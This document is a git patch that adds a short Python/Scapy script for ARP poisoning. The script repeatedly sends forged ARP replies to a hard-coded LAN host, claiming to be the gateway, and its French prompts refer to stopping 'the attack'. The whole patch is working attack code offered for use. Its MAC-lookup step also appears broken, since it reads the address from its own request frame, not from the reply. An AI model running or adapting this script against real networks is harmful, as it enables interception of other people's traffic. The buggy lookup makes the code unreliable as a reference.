From 34b5518fa596845b557639fea86a3b59cdff5d2d Mon Sep 17 00:00:00 2001 From: jerome Date: Fri, 20 Jun 2025 14:17:15 +0200 Subject: scapy --- scapy/arp_poisoning.py | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) create mode 100644 scapy/arp_poisoning.py (limited to 'scapy/arp_poisoning.py') diff --git a/scapy/arp_poisoning.py b/scapy/arp_poisoning.py new file mode 100644 index 0000000..4819704 --- /dev/null +++ b/scapy/arp_poisoning.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +from scapy.all import * + +# example: +ip="192.168.2.104" +ip_gateway="192.168.2.254" + +def arp_poison(ip,ip_gateway): + matrame = Ether()/ARP(pdst=ip) + srp(matrame,timeout=2,verbose=0) + victime_arp = matrame[Ether].dst + packet=Ether(dst=victime_arp)/ARP(op="is-at", psrc=ip_gateway) + print("Ctrl-C pour arrĂȘter l'attaque !") + sendp(packet,inter=2, loop=1) + +try: + arp_poison(ip,ip_gateway) +except PermissionError: + print(f"{sys.argv[0]} nĂ©cessite les droits root") + + -- cgit v1.2.3